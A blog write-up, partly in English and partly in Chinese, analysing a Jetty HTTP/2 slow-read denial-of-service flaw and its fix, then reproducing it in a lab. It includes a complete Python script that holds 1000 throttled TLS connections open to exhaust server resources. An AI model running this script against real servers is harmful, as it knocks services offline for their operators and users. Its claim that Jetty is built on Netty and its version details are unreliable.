Jetty HTTP2.0 DoS Vulnerability Analysis

Hello, it's been a long time since I wrote a technical blog. Recently, the author found an interesting loophole when using Jetty, and would like to share it with you. If you have any questions or errors please point them out.

background

Both Tomcat and Jetty are open source Servlet containers that are widely used in projects. This article will not explain the difference between Tomcat and Jetty, interested students can learn related content by themselves.

The Jetty team disclosed a medium-level vulnerability that may be attacked by DoS in github issues last year. github.com/eclipse/jet…

Roughly, after the Jetty container references the http2-server component to enable the HTTP2.0 function, at the same time the developer provides a service interface using the HTTP2.0 protocol. When visiting an abnormal URL, the attacker can exhaust the Jetty server resources by exhausting the TCP sliding window or HTTP2.0 flow control, thus achieving the DoS attack effect. Oh hoo, isn't this HTTP slow attack? Let's first introduce the HTTP slow attack, then analyze the source code of Jetty's vulnerability, and then we will conduct an experiment to verify the vulnerability.

HTTP slow attack

HTTP slow attack is a kind of application layer DoS attack. An attack method proposed by the web security expert RSnake in 2009. Its principle is to send HTTP requests to the server at a very low speed, and the server has a limit on the number of concurrency. Once these malicious links are not released, new malicious links will be created continuously at the same time, which will cause the server resources to be exhausted.

There are 3 types of HTTP slow attacks

Slow Header attack

Slow Header attacks exploit HTTP request header design. We all know that HTTP Header is text information. Each attribute, such as Content-Type: text/plain, is separated by "\r\n". "\r\n\r\n" will be spliced ​​after the last attribute to inform the server that the request header has been transmitted, please process my request. Attackers use this design to never pass "\r\n\r\n". At the same time, we also know that the HTTP server will not process the request without receiving the complete request header. At this time, the server has to maintain the connection all the time. Once there are a large number of such links, server resources will be exhausted. New requests could not be processed.

Slow POST attack

The attacker sets the Content-Length to a large value, but sends data very slowly. This will cause the server to maintain the connection all the time, and a large number of connections of this type will cause the server resources to be exhausted.

Slow Read attack

Using the TCP sliding window mechanism, the attacker sets the client kernel read buffer very small. At the same time, the data in the kernel read buffer is copied to the user process buffer at a very slow rate. At this time, the server will receive the ZeroWindow message sent by the client, making the server think that the client is too busy to process the sent Response message. The server has to maintain the connection. The existence of a large number of such links will cause the server resources to be exhausted.

Vulnerability source code

First, paste the PR link of the Jetty team to fix the vulnerability github.com/eclipse/jet…

image.pngThis vulnerability exists in the OnRequest and OnPush methods of HttpChannelOverHTTP2.java (OnPush is a unique server-side push function of HTTP2.0). Let's continue to see what OnBadMessage does. Why not return NULL, but directly return a Runnable object?

image.png OnBadMessage是在处理请求时出现异常时,向客户端返回错误信息用的。OnBadMessage与OnRequest是在同一个线程上下文。一旦攻击者使用Slow Read来攻击,就会导致jetty的 worker selector线程被阻塞(jetty底层使用的是netty框架)。所以,为了防止阻塞worker线程,jetty团队直接返回一个Runnable对象将它丢到任务队列中,释放线程来处理新的请求。

实验

目前,大多数的HTTP慢速攻击工具,比如基于C++的slowhttptest都不支持HTTP2.0协议。没关系我们可以手搓一个。

注意!!!目前大多数支持HTTP2.0 协议的Servelt容器都要求配置TLS链接。在TLS握手的ALPN(应用协议协商)阶段,客户端和服务器端会达成使用哪种HTTP协议的约定。虽然HTTP2.0协议没有强制要求必须进行TLS握手,但是,使用Jetty HTTP2.0功能必须配置TLS。

攻击脚本

使用Python搓一个Slow Read攻击脚本, 使用h2 HTTP2.0客户端库

在此声明,工具仅提供研究漏洞使用。用于其他目的造成的影响,后果自负,作者概不负责

import socket
import ssl
import time

import h2.connection
import h2.events

from concurrent.futures import ThreadPoolExecutor


def attack(ip: str, port: int, url: str):
    try:
        # 设置TLS
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.set_alpn_protocols(['h2'])

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 将内核读缓冲区设置为128bytes
        s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 128)
        s.settimeout(1200)
        s = ctx.wrap_socket(s, server_hostname=ip)
        s.connect((ip, port))

        # 设置HTTP2.0
        c = h2.connection.H2Connection()
        c.initiate_connection()
        s.sendall(c.data_to_send())
    except Exception as e:
        print(e)
        return

    # HTTP2.0请求头与HTTP/1稍有不同
    headers = [
        (':method', 'GET'),
        (':path', url),
        (':authority', ip),
        (':scheme', 'https'),
        ('keep-alive', 'timeout=5000, max=5000')
    ]

    c.send_headers(1, headers, end_stream=True)
    s.sendall(c.data_to_send())

    resp_stream_end = False
    while not resp_stream_end:
        # 每次只从内核读缓冲区读取1byte
        data = s.recv(1)
        if not data:
            break

        events = c.receive_data(data)

        for event in events:
            if isinstance(event, h2.events.StreamEnded):
                resp_stream_end = True
                break
        # 每读一个字节,线程休眠15s
        time.sleep(15)
    c.close_connection()
    s.sendall(c.data_to_send())
    s.close()


if __name__ == '__main__':
    # 创建1000个发送invalid URL的连接
    with ThreadPoolExecutor(max_workers=1000) as pool:
        for i in range(0, 1000):
            pool.submit(attack, ip, port, invalid_url)

服务器端

服务器端我们使用spring-boot-starter-web,排除Tomcat使用Jetty内嵌式容器。

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>3.0.4</version>
        <exclusions>
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-tomcat</artifactId>
            </exclusion>
        </exclusions>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-jetty</artifactId>
        <version>2.6.6</version>
    </dependency>

    <dependency>
        <groupId>org.eclipse.jetty</groupId>
        <artifactId>jetty-alpn-conscrypt-server</artifactId>
        <version>9.4.15.v20190215</version>
    </dependency>
    <dependency>
        <groupId>org.eclipse.jetty.http2</groupId>
        <artifactId>http2-server</artifactId>
        <version>9.4.15.v20190215</version>
    </dependency>
</dependencies>

配置文件中要开启TLS和http2功能

ssl:
  key-store: classpath:cert.jks
  key-password: 123456
http2:
  enabled: true

随意写一个Controller类。

可以看到在没有攻击前,请求是正常的,而且协议使用的是h2, 也就是http2.0 image.png

攻击开始

通过wireshake抓包可以看到客户端向服务器端发送ZeroWindow 探针。Slow Read 攻击出现

Screenshot 2023-05-16 052010.jpg

攻击结束后,服务已经无法访问 image.png

此时通过lsof命令可以看到,jetty在DoS攻击后未能回收连接资源。文件句柄数为548,已经超过512的限制。已经无法再处理新的请求,只能重启服务。DoS攻击成功。 image.png

总结

The Jetty version where the vulnerability appeared was 9.4.46. In theory, Jetty versions younger than this version may be subject to DoS attacks when using HTTP2.0 protocol functions. The Jetty team has fixed the vulnerability. Therefore, if you are still using a lower version of Jetty, it is recommended to upgrade.

Guess you like

Origin juejin.im/post/7233409321340715067